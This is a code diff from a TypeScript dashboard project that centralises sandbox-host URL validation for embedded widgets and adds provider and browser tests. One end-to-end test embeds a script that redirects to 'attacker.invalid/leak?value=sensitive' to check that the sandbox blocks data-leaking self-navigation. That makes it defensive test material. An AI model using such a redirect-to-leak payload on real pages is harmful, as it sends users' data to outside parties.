||||
this.refreshFailedFrame(widget);
|
||||
} else if (response.ok) {
|
||||
this.resetFailures();
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (isCurrentProbe()) {
|
||||
this.refreshFailedFrame(widget);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private resolveSandboxFrameUrl(widget: BoardViewWidget): string | undefined {
|
||||
const gatewayUrl = this.host.context()?.gateway.connection.gatewayUrl;
|
||||
if (
|
||||
!widget.sandboxUrl ||
|
||||
!widget.sandboxPort ||
|
||||
!widget.viewTicket ||
|
||||
gatewayUrl === undefined
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
const url = resolveSandboxHostUrl(
|
||||
widget.sandboxUrl,
|
||||
widget.sandboxPort,
|
||||
widget.sandboxOrigin,
|
||||
gatewayUrl,
|
||||
window.location.origin,
|
||||
);
|
||||
this.sandboxOrigin = new URL(url).origin;
|
||||
return url;
|
||||
}
|
||||
|
||||
private sandboxHostOptions(
|
||||
frame: HTMLIFrameElement,
|
||||
widget: BoardViewWidget,
|
||||
): ConstructorParameters<typeof BoardWidgetSandboxHost>[0] | undefined {
|
||||
const resolveFrameUrl = this.host.resolveFrameUrl();
|
||||
if (!resolveFrameUrl) {
|
||||
return undefined;
|
||||
}
|
||||
return {
|
||||
frame,
|
||||
widget,
|
||||
sandboxOrigin: this.sandboxOrigin,
|
||||
sandboxUrl: frame.src,
|
||||
sourceOrigin: resolveGatewayHttpOrigin(
|
||||
this.host.context()?.gateway.connection.gatewayUrl ?? "",
|
||||
window.location.origin,
|
||||
),
|
||||
client: this.host.context()?.gateway.snapshot.client ?? undefined,
|
||||
resolveFrameUrl,
|
||||
confirmPrompt: (prompt) => window.confirm(`${t("common.confirm")}:\n\n${prompt}`),
|
||||
onFrameUrl: (url) => {
|
||||
this.lastFrameUrl = url;
|
||||
},
|
||||
onLoadFailed: (currentWidget) => this.refreshFailedFrame(currentWidget),
|
||||
onUnauthorized: (currentWidget) => this.refreshFailedFrame(currentWidget),
|
||||
onReadyTimeout: () => this.refreshFailedFrame(widget),
|
||||
onLoaded: () => {
|
||||
this.frameFailureKey = "";
|
||||
this.frameRefreshAttempts = 0;
|
||||
this.setError("");
|
||||
},
|
||||
onError: (error) => {
|
||||
this.setError(error instanceof Error ? error.message : String(error));
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
private updateSandboxHost(): void {
|
||||
const frame = this.host.root().querySelector<HTMLIFrameElement>(".board-widget__frame");
|
||||
const widget = this.host.widget();
|
||||
if (
|
||||
!frame?.isConnected ||
|
||||
!widget ||
|
||||
!widget.sandboxUrl ||
|
||||
!widget.sandboxPort ||
|
||||
!widget.viewTicket
|
||||
) {
|
||||
this.sandboxHost?.dispose();
|
||||
this.sandboxHost = null;
|
||||
return;
|
||||
}
|
||||
const options = this.sandboxHostOptions(frame, widget);
|
||||
if (!options) {
|
||||
return;
|
||||
}
|
||||
if (!this.sandboxHost || this.sandboxHost.frame !== frame) {
|
||||
this.sandboxHost?.dispose();
|
||||
this.sandboxHost = new BoardWidgetSandboxHost(options);
|
||||
} else {
|
||||
this.sandboxHost.update(options);
|
||||
}
|
||||
}
|
||||
|
||||
private handleSandboxMessage = (event: MessageEvent): void => {
|
||||
if (!this.host.connected()) {
|
||||
return;
|
||||
}
|
||||
const frame = this.host.root().querySelector<HTMLIFrameElement>(".board-widget__frame");
|
||||
const widget = this.host.widget();
|
||||
if (
|
||||
!frame ||
|
||||
!widget?.viewTicket ||
|
||||
event.source !== frame.contentWindow ||
|
||||
event.origin !== this.sandboxOrigin
|
||||
) {
|
||||
return;
|
||||
}
|
||||
const options = this.sandboxHostOptions(frame, widget);
|
||||
if (!options) {
|
||||
return;
|
||||
}
|
||||
if (!this.sandboxHost || this.sandboxHost.frame !== frame) {
|
||||
this.sandboxHost?.dispose();
|
||||
this.sandboxHost = new BoardWidgetSandboxHost(options);
|
||||
} else {
|
||||
this.sandboxHost.update(options);
|
||||
}
|
||||
this.sandboxHost.handleMessage(event);
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { AppBridge } from "@modelcontextprotocol/ext-apps/app-bridge";
|
||||
import { resolveSandboxHostUrl } from "./sandbox-host.ts";
|
||||
|
||||
type McpAppHostCapabilities = ConstructorParameters<typeof AppBridge>[2];
|
||||
export type McpAppHostSandboxCsp = NonNullable<
|
||||
@@ -118,43 +119,12 @@ export function resolveMcpAppSandboxUrl(
|
||||
gatewayUrl: string,
|
||||
hostOrigin: string,
|
||||
): string {
|
||||
if (!Number.isInteger(sandboxPort) || sandboxPort < 1 || sandboxPort > 65535) {
|
||||
throw new Error("MCP App sandbox port is invalid");
|
||||
}
|
||||
const gateway = new URL(gatewayUrl || hostOrigin, hostOrigin);
|
||||
if (gateway.protocol === "ws:") {
|
||||
gateway.protocol = "http:";
|
||||
} else if (gateway.protocol === "wss:") {
|
||||
gateway.protocol = "https:";
|
||||
}
|
||||
if (gateway.protocol !== "http:" && gateway.protocol !== "https:") {
|
||||
throw new Error("MCP App sandbox URL is invalid");
|
||||
}
|
||||
const activeGatewayOrigin = gateway.origin;
|
||||
const base = sandboxOrigin ? new URL(sandboxOrigin) : new URL(activeGatewayOrigin);
|
||||
if (sandboxOrigin) {
|
||||
if (
|
||||
base.origin !== sandboxOrigin.replace(/\/$/u, "") ||
|
||||
base.username !== "" ||
|
||||
base.password !== ""
|
||||
) {
|
||||
throw new Error("MCP App sandbox URL is invalid");
|
||||
}
|
||||
} else {
|
||||
base.port = String(sandboxPort);
|
||||
}
|
||||
base.pathname = "/";
|
||||
base.search = "";
|
||||
base.hash = "";
|
||||
const resolved = new URL(value, base);
|
||||
if (
|
||||
(base.protocol !== "http:" && base.protocol !== "https:") ||
|
||||
base.origin === new URL(hostOrigin).origin ||
|
||||
base.origin === activeGatewayOrigin ||
|
||||
resolved.origin !== base.origin ||
|
||||
resolved.pathname !== "/mcp-app-sandbox"
|
||||
) {
|
||||
throw new Error("MCP App sandbox URL is invalid");
|
||||
}
|
||||
return resolved.href;
|
||||
return resolveSandboxHostUrl(
|
||||
value,
|
||||
sandboxPort,
|
||||
sandboxOrigin,
|
||||
gatewayUrl,
|
||||
hostOrigin,
|
||||
"MCP App sandbox URL is invalid",
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
export function resolveGatewayHttpOrigin(gatewayUrl: string, hostOrigin: string): string {
|
||||
const gateway = new URL(gatewayUrl || hostOrigin, hostOrigin);
|
||||
if (gateway.protocol === "ws:") {
|
||||
gateway.protocol = "http:";
|
||||
} else if (gateway.protocol === "wss:") {
|
||||
gateway.protocol = "https:";
|
||||
}
|
||||
if (gateway.protocol !== "http:" && gateway.protocol !== "https:") {
|
||||
throw new Error("Gateway URL is invalid");
|
||||
}
|
||||
return gateway.origin;
|
||||
}
|
||||
|
||||
export function resolveSandboxHostUrl(
|
||||
value: string,
|
||||
sandboxPort: number,
|
||||
sandboxOrigin: string | undefined,
|
||||
gatewayUrl: string,
|
||||
hostOrigin: string,
|
||||
invalidMessage = "Sandbox host URL is invalid",
|
||||
): string {
|
||||
if (!Number.isInteger(sandboxPort) || sandboxPort < 1 || sandboxPort > 65535) {
|
||||
throw new Error(invalidMessage);
|
||||
}
|
||||
let activeGatewayOrigin: string;
|
||||
try {
|
||||
activeGatewayOrigin = resolveGatewayHttpOrigin(gatewayUrl, hostOrigin);
|
||||
} catch {
|
||||
throw new Error(invalidMessage);
|
||||
}
|
||||
const base = sandboxOrigin ? new URL(sandboxOrigin) : new URL(activeGatewayOrigin);
|
||||
if (sandboxOrigin) {
|
||||
if (
|
||||
base.origin !== sandboxOrigin.replace(/\/$/u, "") ||
|
||||
base.username !== "" ||
|
||||
base.password !== ""
|
||||
) {
|
||||
throw new Error(invalidMessage);
|
||||
}
|
||||
} else {
|
||||
base.port = String(sandboxPort);
|
||||
}
|
||||
base.pathname = "/";
|
||||
base.search = "";
|
||||
base.hash = "";
|
||||
const resolved = new URL(value, base);
|
||||
if (
|
||||
(base.protocol !== "http:" && base.protocol !== "https:") ||
|
||||
base.origin === new URL(hostOrigin).origin ||
|
||||
base.origin === activeGatewayOrigin ||
|
||||
resolved.origin !== base.origin ||
|
||||
resolved.pathname !== "/mcp-app-sandbox"
|
||||
) {
|
||||
throw new Error(invalidMessage);
|
||||
}
|
||||
return resolved.href;
|
||||
}
|
||||
@@ -2,7 +2,7 @@
|
||||
import type { Server as HttpServer } from "node:http";
|
||||
import { chromium, type Browser, type BrowserContext, type Page } from "playwright";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
import { createMcpAppSandboxHttpServer } from "../../../src/gateway/mcp-app-sandbox-http.js";
|
||||
import { createSandboxHostHttpServer } from "../../../src/gateway/mcp-app-sandbox-http.js";
|
||||
import { getFreeGatewayPort } from "../../../src/gateway/test-helpers.e2e.js";
|
||||
import {
|
||||
canRunPlaywrightChromium,
|
||||
@@ -86,7 +86,7 @@ describeControlUiE2e("Control UI dashboard MCP Apps", () => {
|
||||
beforeAll(async () => {
|
||||
controlUi = await startControlUiE2eServer();
|
||||
sandboxPort = await getFreeGatewayPort();
|
||||
sandboxServer = createMcpAppSandboxHttpServer();
|
||||
sandboxServer = createSandboxHostHttpServer();
|
||||
await new Promise<void>((resolve) => {
|
||||
sandboxServer.listen(sandboxPort, "127.0.0.1", resolve);
|
||||
});
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
import { chromium, type Browser, type Page } from "playwright";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
import { GATEWAY_SERVER_CAPS } from "../../../packages/gateway-protocol/src/index.js";
|
||||
import { SANDBOX_HOST_PATH } from "../../../src/agents/sandbox-host.js";
|
||||
import { createSandboxHostHttpServer } from "../../../src/gateway/mcp-app-sandbox-http.js";
|
||||
import {
|
||||
canRunPlaywrightChromium,
|
||||
installMockGateway,
|
||||
@@ -117,6 +119,93 @@ describeControlUiE2e("Control UI session dashboard stitch", () => {
|
||||
await server?.close();
|
||||
});
|
||||
|
||||
it("keeps widget documents in standards mode and cancels self-navigation", async () => {
|
||||
const sandboxHost = createSandboxHostHttpServer();
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
sandboxHost.once("error", reject);
|
||||
sandboxHost.listen(0, "127.0.0.1", () => {
|
||||
sandboxHost.off("error", reject);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
const sandboxAddress = sandboxHost.address();
|
||||
if (!sandboxAddress || typeof sandboxAddress === "string") {
|
||||
throw new Error("sandbox host did not bind a TCP address");
|
||||
}
|
||||
const context = await browser.newContext();
|
||||
try {
|
||||
const page = await context.newPage();
|
||||
const escapeRequests: string[] = [];
|
||||
page.on("request", (request) => {
|
||||
if (request.url().startsWith("https://attacker.invalid/")) {
|
||||
escapeRequests.push(request.url());
|
||||
}
|
||||
});
|
||||
await page.goto(server.baseUrl);
|
||||
await page.evaluate((sandboxUrl) => {
|
||||
Reflect.set(globalThis, "widgetProbes", []);
|
||||
addEventListener("message", (event) => {
|
||||
(Reflect.get(globalThis, "widgetProbes") as unknown[]).push(event.data);
|
||||
});
|
||||
const frame = document.createElement("iframe");
|
||||
frame.src = sandboxUrl;
|
||||
document.body.replaceChildren(frame);
|
||||
}, `http://127.0.0.1:${sandboxAddress.port}${SANDBOX_HOST_PATH}`);
|
||||
await expect
|
||||
.poll(async () =>
|
||||
page.evaluate(() =>
|
||||
(Reflect.get(globalThis, "widgetProbes") as Array<{ method?: string }>).some(
|
||||
(probe) => probe?.method === "ui/notifications/sandbox-proxy-ready",
|
||||
),
|
||||
),
|
||||
)
|
||||
.toBe(true);
|
||||
|
||||
const widgetHtml = `<!doctype html><html><body><script>
|
||||
parent.postMessage({
|
||||
compatMode: document.compatMode,
|
||||
}, "*");
|
||||
setTimeout(() => {
|
||||
location.href = "https://attacker.invalid/leak?value=sensitive";
|
||||
}, 0);
|
||||
</script></body></html>`;
|
||||
await page.locator("iframe").evaluate((frame, html) => {
|
||||
(frame as HTMLIFrameElement).contentWindow?.postMessage(
|
||||
{
|
||||
method: "ui/notifications/sandbox-resource-ready",
|
||||
params: { html },
|
||||
},
|
||||
"*",
|
||||
);
|
||||
}, widgetHtml);
|
||||
await expect
|
||||
.poll(async () =>
|
||||
page.evaluate(() =>
|
||||
(
|
||||
Reflect.get(globalThis, "widgetProbes") as Array<{
|
||||
compatMode?: string;
|
||||
}>
|
||||
).filter((probe) => probe?.compatMode),
|
||||
),
|
||||
)
|
||||
.toEqual([{ compatMode: "CSS1Compat" }]);
|
||||
const sandboxFrame = await page
|
||||
.locator("iframe")
|
||||
.elementHandle()
|
||||
.then((handle) => handle?.contentFrame());
|
||||
const widgetFrame = sandboxFrame?.childFrames()[0];
|
||||
expect(widgetFrame).toBeDefined();
|
||||
await page.waitForTimeout(250);
|
||||
expect(widgetFrame!.url()).not.toContain("attacker.invalid");
|
||||
expect(escapeRequests).toEqual([]);
|
||||
} finally {
|
||||
await context.close();
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
sandboxHost.close((error) => (error ? reject(error) : resolve()));
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
it("pins Canvas HTML, follows board commands, and persists dock resizing", async () => {
|
||||
const context = await browser.newContext({ viewport: { height: 900, width: 1280 } });
|
||||
const page = await context.newPage();
|
||||
|
||||
Generated
+35
@@ -43,6 +43,41 @@
|
||||
"path": "ui/src/components/app-topbar.ts",
|
||||
"text": "OpenClaw"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "object-property",
|
||||
"name": "title",
|
||||
"path": "ui/src/components/board/board-view.test-support.ts",
|
||||
"text": "Alpha status"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "object-property",
|
||||
"name": "title",
|
||||
"path": "ui/src/components/board/board-view.test-support.ts",
|
||||
"text": "Beta chart"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "object-property",
|
||||
"name": "title",
|
||||
"path": "ui/src/components/board/board-view.test-support.ts",
|
||||
"text": "Main"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "object-property",
|
||||
"name": "title",
|
||||
"path": "ui/src/components/board/board-view.test-support.ts",
|
||||
"text": "Operations"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "object-property",
|
||||
"name": "title",
|
||||
"path": "ui/src/components/board/board-view.test-support.ts",
|
||||
"text": "Queue depth"
|
||||
},
|
||||
{
|
||||
"count": 1,
|
||||
"kind": "html-text",
|
||||
|
||||
@@ -2614,6 +2614,12 @@ export const en: TranslationMap = {
|
||||
remove: "Remove",
|
||||
needsApproval: "Needs approval",
|
||||
needsApprovalDetail: "This widget requested additional access.",
|
||||
networkAccess: "Network origins",
|
||||
hostTools: "Host tools and data",
|
||||
activeCapabilities: "Active widget capabilities",
|
||||
networkCapability: "Network: {capability}",
|
||||
toolCapability: "Tool: {capability}",
|
||||
granted: "Granted",
|
||||
allow: "Allow",
|
||||
reject: "Reject",
|
||||
rejected: "Access rejected",
|
||||
@@ -2623,6 +2629,7 @@ export const en: TranslationMap = {
|
||||
appStaleDetail: "Its server, resource, or originating transcript is no longer available.",
|
||||
retry: "Retry",
|
||||
frameResolverMissing: "Widget content is unavailable.",
|
||||
sandboxUnavailable: "Widget sandbox host is unavailable.",
|
||||
frameAuthorizationFailed: "Widget authorization failed after repeated refresh attempts.",
|
||||
errorTitle: "This widget could not load",
|
||||
errorDetail: "The problem is contained to this card.",
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
export type BoardSnapshotSignal<T> = {
|
||||
readonly value: T;
|
||||
subscribe(listener: () => void): () => void;
|
||||
};
|
||||
|
||||
export type BoardEventStream<T> = {
|
||||
subscribe(listener: (event: T) => void): () => void;
|
||||
};
|
||||
|
||||
export class ValueSignal<T> implements BoardSnapshotSignal<T> {
|
||||
private readonly listeners = new Set<() => void>();
|
||||
|
||||
constructor(public value: T) {}
|
||||
|
||||
subscribe(listener: () => void): () => void {
|
||||
this.listeners.add(listener);
|
||||
return () => this.listeners.delete(listener);
|
||||
}
|
||||
|
||||
set(value: T): void {
|
||||
this.value = value;
|
||||
for (const listener of this.listeners) {
|
||||
listener();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export class EventStream<T> implements BoardEventStream<T> {
|
||||
private readonly listeners = new Set<(event: T) => void>();
|
||||
|
||||
subscribe(listener: (event: T) => void): () => void {
|
||||
this.listeners.add(listener);
|
||||
return () => this.listeners.delete(listener);
|
||||
}
|
||||
|
||||
emit(event: T): void {
|
||||
for (const listener of this.listeners) {
|
||||
listener(event);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
// @vitest-environment node
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { BoardMcpAppViewCache } from "./mcp-app-view-cache.ts";
|
||||
import { GatewayBoardProvider } from "./provider.ts";
|
||||
|
||||
let mockLocation: { search: string };
|
||||
|
||||
beforeEach(() => {
|
||||
mockLocation = { search: "" };
|
||||
vi.stubGlobal("location", mockLocation);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
describe("board provider MCP App views", () => {
|
||||
it("deduplicates leases until an explicit refresh", async () => {
|
||||
let now = 0;
|
||||
vi.spyOn(Date, "now").mockImplementation(() => now);
|
||||
const snapshot = {
|
||||
sessionKey: "agent:main:app",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [
|
||||
{
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "app-instance",
|
||||
},
|
||||
],
|
||||
};
|
||||
let lease = 0;
|
||||
const request = vi.fn(async (method: string) => {
|
||||
if (method === "board.get") {
|
||||
return snapshot;
|
||||
}
|
||||
if (method === "board.widget.appView") {
|
||||
lease += 1;
|
||||
return { viewId: `mcp-app-${lease}`, expiresAtMs: lease === 1 ? 10_000 : 20_000 };
|
||||
}
|
||||
throw new Error(`unexpected method: ${method}`);
|
||||
});
|
||||
const provider = new GatewayBoardProvider("agent:main:app", {
|
||||
request: request as never,
|
||||
addEventListener: () => () => {},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(1));
|
||||
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
expect(request).toHaveBeenCalledWith("board.widget.appView", {
|
||||
sessionKey: "agent:main:app",
|
||||
name: "server-app",
|
||||
revision: 1,
|
||||
instanceId: "app-instance",
|
||||
});
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
now = 6_000;
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
await expect(provider.refreshWidgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-2",
|
||||
});
|
||||
expect(request.mock.calls.filter(([method]) => method === "board.widget.appView")).toHaveLength(
|
||||
2,
|
||||
);
|
||||
});
|
||||
|
||||
it("does not reuse a cached lease for a same-name replacement", async () => {
|
||||
const cache = new BoardMcpAppViewCache();
|
||||
const widget = {
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "instance-a",
|
||||
};
|
||||
const request = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce({ viewId: "view-a", expiresAtMs: Date.now() + 60_000 })
|
||||
.mockResolvedValueOnce({ viewId: "view-b", expiresAtMs: Date.now() + 60_000 });
|
||||
|
||||
await expect(cache.resolve(widget, request, false)).resolves.toMatchObject({
|
||||
viewId: "view-a",
|
||||
});
|
||||
await expect(
|
||||
cache.resolve({ ...widget, instanceId: "instance-b" }, request, false),
|
||||
).resolves.toMatchObject({ viewId: "view-b" });
|
||||
expect(request).toHaveBeenCalledTimes(2);
|
||||
});
|
||||
|
||||
it("contains re-mint failures as stale widget state and retries on demand", async () => {
|
||||
const snapshot = {
|
||||
sessionKey: "agent:main:stale-app",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [
|
||||
{
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "stale-app-instance",
|
||||
},
|
||||
],
|
||||
};
|
||||
let attempts = 0;
|
||||
const request = vi.fn(async (method: string) => {
|
||||
if (method === "board.get") {
|
||||
return snapshot;
|
||||
}
|
||||
attempts += 1;
|
||||
if (attempts === 1) {
|
||||
throw new Error("origin transcript pruned");
|
||||
}
|
||||
return { viewId: "mcp-app-restored", expiresAtMs: Date.now() + 60_000 };
|
||||
});
|
||||
const provider = new GatewayBoardProvider("agent:main:stale-app", {
|
||||
request: request as never,
|
||||
addEventListener: () => () => {},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(1));
|
||||
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toEqual({
|
||||
status: "stale",
|
||||
error: "origin transcript pruned",
|
||||
});
|
||||
await expect(provider.refreshWidgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-restored",
|
||||
});
|
||||
});
|
||||
});
|
||||
+137
-141
@@ -1,6 +1,5 @@
|
||||
// @vitest-environment node
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { BoardMcpAppViewCache } from "./mcp-app-view-cache.ts";
|
||||
import {
|
||||
boardExists,
|
||||
boardProviderForSession,
|
||||
@@ -337,6 +336,77 @@ describe("board providers", () => {
|
||||
expect(provider.widgetFrameUrl("beta", 1)).toBe("/beta-old");
|
||||
});
|
||||
|
||||
it("does not preserve a stale ticket when a widget generation is recreated", async () => {
|
||||
let listener: ((event: { event: string; payload: unknown }) => void) | undefined;
|
||||
const baseWidget = {
|
||||
name: "alpha",
|
||||
tabId: "main",
|
||||
contentKind: "html" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
};
|
||||
const initial = {
|
||||
sessionKey: "agent:main:generation",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [
|
||||
{
|
||||
...baseWidget,
|
||||
viewGeneration: "a".repeat(32),
|
||||
frameUrl: "/old-ticket",
|
||||
},
|
||||
],
|
||||
};
|
||||
const recreated = {
|
||||
...initial,
|
||||
revision: 2,
|
||||
widgets: [
|
||||
{
|
||||
...baseWidget,
|
||||
viewGeneration: "b".repeat(32),
|
||||
frameUrl: "/replacement-ticket",
|
||||
sandboxUrl: "/mcp-app-sandbox",
|
||||
},
|
||||
],
|
||||
};
|
||||
const renewed = {
|
||||
...recreated,
|
||||
revision: 3,
|
||||
widgets: [{ ...recreated.widgets[0]!, frameUrl: "/renewed-ticket" }],
|
||||
};
|
||||
const request = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(initial)
|
||||
.mockResolvedValueOnce(recreated)
|
||||
.mockResolvedValueOnce(renewed);
|
||||
const provider = new GatewayBoardProvider("agent:main:generation", {
|
||||
request: request as never,
|
||||
addEventListener: (next) => {
|
||||
listener = next as typeof listener;
|
||||
return () => {};
|
||||
},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value).toEqual(initial));
|
||||
|
||||
listener?.({
|
||||
event: "board.changed",
|
||||
payload: { sessionKey: "agent:main:generation", revision: 2 },
|
||||
});
|
||||
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(2));
|
||||
expect(provider.widgetFrameUrl("alpha", 1)).toBe("/replacement-ticket");
|
||||
|
||||
listener?.({
|
||||
event: "board.changed",
|
||||
payload: { sessionKey: "agent:main:generation", revision: 3 },
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(3));
|
||||
expect(provider.widgetFrameUrl("alpha", 1)).toBe("/renewed-ticket");
|
||||
});
|
||||
|
||||
it("does not publish an activation snapshot older than a completed mutation", async () => {
|
||||
let resolveActivation: ((snapshot: BoardProvider["snapshot$"]["value"]) => void) | undefined;
|
||||
const stale = {
|
||||
@@ -825,6 +895,72 @@ describe("board providers", () => {
|
||||
expect(provider.snapshot$.value.revision).toBe(2);
|
||||
});
|
||||
|
||||
it("preserves minted view metadata across layout and grant mutation snapshots", async () => {
|
||||
const widget = {
|
||||
name: "alpha",
|
||||
tabId: "main",
|
||||
contentKind: "html" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "pending" as const,
|
||||
revision: 1,
|
||||
frameUrl: "/ticketed-frame",
|
||||
viewTicket: "view-ticket",
|
||||
viewTicketTtlMs: 60_000,
|
||||
viewGeneration: "a".repeat(32),
|
||||
sandboxUrl: "https://sandbox.example/host",
|
||||
sandboxPort: 18_790,
|
||||
sandboxOrigin: "https://sandbox.example:18790",
|
||||
};
|
||||
const initial = {
|
||||
sessionKey: "agent:main:mutation-view-contract",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [widget],
|
||||
};
|
||||
const layoutMutation = {
|
||||
...initial,
|
||||
revision: 2,
|
||||
widgets: [{ ...widget, sizeW: 8, frameUrl: undefined, viewTicket: undefined }].map(
|
||||
({
|
||||
frameUrl: _frameUrl,
|
||||
viewTicket: _viewTicket,
|
||||
viewTicketTtlMs: _viewTicketTtlMs,
|
||||
viewGeneration: _viewGeneration,
|
||||
sandboxUrl: _sandboxUrl,
|
||||
sandboxPort: _sandboxPort,
|
||||
sandboxOrigin: _sandboxOrigin,
|
||||
...plainWidget
|
||||
}) => plainWidget,
|
||||
),
|
||||
};
|
||||
const grantMutation = {
|
||||
...layoutMutation,
|
||||
revision: 3,
|
||||
widgets: [{ ...layoutMutation.widgets[0]!, grantState: "granted" as const }],
|
||||
};
|
||||
const request = vi
|
||||
.fn()
|
||||
.mockResolvedValueOnce(initial)
|
||||
.mockResolvedValueOnce(layoutMutation)
|
||||
.mockResolvedValueOnce(grantMutation);
|
||||
const provider = new GatewayBoardProvider("agent:main:mutation-view-contract", {
|
||||
request: request as never,
|
||||
addEventListener: () => () => {},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value).toEqual(initial));
|
||||
|
||||
await provider.applyOps([{ kind: "widget_resize", name: "alpha", sizeW: 8, sizeH: 4 }]);
|
||||
await provider.grant("alpha", "granted");
|
||||
|
||||
expect(provider.snapshot$.value.widgets[0]).toEqual({
|
||||
...widget,
|
||||
sizeW: 8,
|
||||
grantState: "granted",
|
||||
});
|
||||
});
|
||||
|
||||
it("passes mutations through and surfaces board commands", async () => {
|
||||
let listener: ((event: { event: string; payload: unknown }) => void) | undefined;
|
||||
const empty = { sessionKey: "agent:main:live", revision: 0, tabs: [], widgets: [] };
|
||||
@@ -917,144 +1053,4 @@ describe("board providers", () => {
|
||||
command: { kind: "focus_tab", tabId: "main" },
|
||||
});
|
||||
});
|
||||
|
||||
it("deduplicates MCP App leases until an explicit refresh", async () => {
|
||||
mockLocation.search = "";
|
||||
let now = 0;
|
||||
vi.spyOn(Date, "now").mockImplementation(() => now);
|
||||
const snapshot = {
|
||||
sessionKey: "agent:main:app",
|
||||
revision: 1,
|
||||
tabs: [{ tabId: "main", title: "Main", position: 0, chatDock: "right" as const }],
|
||||
widgets: [
|
||||
{
|
||||
name: "server-app",
|
||||
tabId: "main",
|
||||
contentKind: "mcp-app" as const,
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none" as const,
|
||||
revision: 1,
|
||||
instanceId: "app-instance",
|
||||
},
|
||||
],
|
||||
};
|
||||
let lease = 0;
|
||||
const request = vi.fn(async (method: string) => {
|
||||
if (method === "board.get") {
|
||||
return snapshot;
|
||||
}
|
||||
if (method === "board.widget.appView") {
|
||||
lease += 1;
|
||||
return { viewId: `mcp-app-${lease}`, expiresAtMs: lease === 1 ? 10_000 : 20_000 };
|
||||
}
|
||||
throw new Error(`unexpected method: ${method}`);
|
||||
});
|
||||
const provider = new GatewayBoardProvider("agent:main:app", {
|
||||
request: request as never,
|
||||
addEventListener: () => () => {},
|
||||
});
|
||||
await vi.waitFor(() => expect(provider.snapshot$.value.revision).toBe(1));
|
||||
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
status: "ready",
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
expect(request).toHaveBeenCalledWith("board.widget.appView", {
|
||||
sessionKey: "agent:main:app",
|
||||
name: "server-app",
|
||||
revision: 1,
|
||||
instanceId: "app-instance",
|
||||
});
|
||||
await expect(provider.widgetAppView("server-app", 1)).resolves.toMatchObject({
|
||||
viewId: "mcp-app-1",
|
||||
});
|
||||
